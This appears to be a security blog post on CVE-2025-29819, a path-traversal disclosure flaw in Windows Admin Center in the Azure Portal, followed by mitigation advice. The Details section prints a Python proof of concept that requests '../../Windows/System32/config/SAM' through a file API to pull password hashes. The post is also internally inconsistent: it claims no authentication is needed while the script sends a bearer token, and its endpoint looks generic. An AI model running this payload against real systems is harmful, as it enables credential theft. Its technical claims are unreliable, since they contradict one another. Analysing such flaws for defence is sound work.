A new vulnerability, dubbed CVE-2025-29819, has been discovered in the Azure Portal's Windows Admin Center. This vulnerability allows malicious actors to exploit external control mechanisms over file names or paths in order to disclose sensitive information stored on the target computer. This blog post will delve into the details of this security issue, the risks it poses, and the necessary steps to protect your Azure environment against such attacks. The information provided here is based on available references and the relevant code snippets. We highly recommend that you take precautionary measures to secure your Azure environment.

Details

The CVE-2025-29819 vulnerability takes advantage of an external control vulnerability in the file name or path present in the Azure Portal Windows Admin Center. By exploiting this, an attacker can retrieve sensitive information from the victim's machine without their knowledge or consent. This information disclosure vulnerability is considered to have a medium-level of impact since it allows unrestricted access to local data without the need for prior authentication.

An example code snippet that demonstrates the exploit can be found below

import requests

target_url = "https://example.windowsadmincenter.com/api/files/filepath";
file_path = "../../../../../../../Windows/System32/config/SAM"
headers = {
    "Content-Type": "application/json",
    "Authorization": "Bearer <your_access_token>"
}

response = requests.get(
    target_url,
    params={"path": file_path},
    headers=headers
)

if response.status_code == 200:
    print("Sensitive information disclosure successful!")
    print("\nRetrieved data:")
    print(response.text)
else:
    print("Failed to retrieve sensitive information:", response.status_code)

The above code snippet is written in Python and uses the "requests" library to send an HTTP GET request to the Windows Admin Center's API. Once executed, it attempts to read a sensitive file, such as the Windows SAM file, which typically contains account details and password hashes.

Original references detailing the vulnerability can be found at

- Microsoft Security Advisory
- GitHub Issue Tracker
- National Vulnerability Database (NVD)

Mitigation Steps

In order to protect your Azure environment from the CVE-2025-29819 vulnerability, we recommend the following steps:

Apply the latest security patches and updates released by Microsoft for the Windows Admin Center.

2. Configure proper access control settings and user permissions to limit unauthorized access to sensitive files and directories.
3. Implement security monitoring tools such as intrusion detection systems or security information and event management (SIEM) solutions.

Conclusion

CVE-2025-29819 is a vulnerability that could have serious implications for the integrity of your Azure environment. Affected users are strongly advised to follow the mitigation steps outlined above and continuously monitor their Azure infrastructure for any malicious activities, patches, and updates. By being proactive about your security, you can minimize the risk of data breaches and maintain the confidentiality and integrity of your organization's information.

Timeline

Published on: 04/08/2025 18:16:07 UTC
Last modified on: 05/06/2025 17:03:55 UTC